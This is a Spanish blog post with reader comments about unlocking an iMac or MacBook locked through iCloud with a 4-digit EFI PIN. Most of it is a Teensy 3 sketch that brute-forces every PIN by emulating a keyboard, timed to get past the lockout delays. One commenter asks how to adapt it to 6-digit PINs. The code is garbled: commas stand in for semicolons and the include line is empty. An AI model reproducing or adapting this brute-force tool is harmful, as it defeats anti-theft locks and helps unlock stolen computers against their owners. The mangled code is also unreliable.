Cómo resetear contraseña Open Firmware EFI MacBook Pro o iMac bloqueado por iCloud

12/12/2017Coquy

Cuando un iMac, MacMini o cualquier ordenador Apple es bloqueado remotamente desde un dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del iCloud. El bloqueo es tanto a nivel de OS como de EFI.

Un usuario de la comunidad de MacRumors tiene una versión mas simple y elegante de este método que lo pueden ver aquí:
How to: Unlock System Lock PIN Code.

Logre modificar el Sketch de la Teensy 3 para que pudiese atacar PIN del iCloud, aquí les dejo el código:

#include
const int ledPin = 13,
int counter = 0,
//waits for iCould
int firstloop = 0,
int secondloop = 0,
int thirdloop = 0,
boolean firstcompleted = false,
boolean secondcompleted = false,
int fakecounter = counter,
char pin[]="xxxx",
void setup() {
pinMode(ledPin, OUTPUT),
delay(10000),
digitalWrite(ledPin, LOW),
}
void loop(){
keyboard_modifier_keys = 0,
//lets wait 1minute and 1 second
if (firstloop >= 5){
delay(61000),
firstcompleted = true,
digitalWrite(ledPin, LOW),
}
else if ((firstloop < 5) && (firstcompleted == false)){
digitalWrite(ledPin, HIGH),
++firstloop,
digitalWrite(ledPin, LOW),
}
//lets wait 5 minutes and one second
if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
delay(301000),
secondloop = 0,
secondcompleted = true,
digitalWrite(ledPin, LOW),
}
else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
++secondloop,
digitalWrite(ledPin, LOW),
}
//lets wait 15 minutes and 1 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(901000),
thirdloop = 0,
secondcompleted = false,
firstcompleted = false,
firstloop = 0,
secondloop = 0,
thirdloop = 0,
digitalWrite(ledPin, LOW),
}
else if ((thirdloop < 1) && (secondcompleted == true)){
++thirdloop,
digitalWrite(ledPin, LOW),
}
//lets get to work
if (counter <= 9999){
delay(100503),
digitalWrite(ledPin, LOW),
delay(7049),
digitalWrite(ledPin, HIGH),
sprintf(pin, "%04d", fakecounter),
Keyboard.press(pin[0]),
delay(450),
Keyboard.release(pin[0]),
delay(420),
Keyboard.press(pin[1]),
delay(398),
Keyboard.release(pin[1]),
delay(510),
Keyboard.press(pin[2]),
delay(421),
Keyboard.release(pin[2]),
delay(423),
Keyboard.press(pin[3]),
delay(430),
Keyboard.release(pin[3]),
delay(525),
Keyboard.press(KEY_ENTER),
delay(405),
Keyboard.release(KEY_ENTER),
digitalWrite(ledPin, LOW),
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0, blinkies < 8, blinkies++) {
digitalWrite(ledPin, HIGH),
delay(20),
digitalWrite(ledPin, LOW),
delay(200),
}
delay(6000),
}
++counter,
fakecounter = counter,
}

https://www.youtube.com/watch?feature=player_embedded&v=xXMiX-Bybsw

Aviso: Esta información es de carácter educacional y entretenimiento. Si has encontrado un MacBook bloqueado y no es de tu propiedad por favor acude a la oficina de objetos perdidos.
Si es de tu propiedad y tienes este problema acude a una Apple Store.SirJn

hola que tal buenas tardes, pues yo tengo el mismo problema de EFI de PIN de iCloud pero en vez de 4 Digitos el mío presento 6 seria el mismo código que ocupan aquí o tendría que reescribir el código de nuevo para poder hacer el mismo procedimiento otro detalle el USB que usan es cualquier o alguno en especial?

sergiogerdts

Buenas, mi mac air presenta el mismo problema, la imagen que aparece en pantalla de mi mac es la segunda, no me deja digitar el pin, como puedo solucionar este inconveniente?

Bebita

Disculpa pero no entiendo que quieres decir con no poder ingresar la contraseña ¿No te detecta el teclado?

sergiogerdts dijo:Buenas, mi mac air presenta el mismo problema, la imagen que aparece en pantalla de mi mac es la segunda, no me deja digitar el pin, como puedo solucionar este inconveniente?


Mapa web | Política de cookies. | Aviso Legal y Política de Privacidad. | Contactar. | Sponsors: /41/48180/como-resetear-contrasena-open-firmware-efi-macbook-pro-o-imac-bloqueado-por-icloud.html

Country:US

xxxx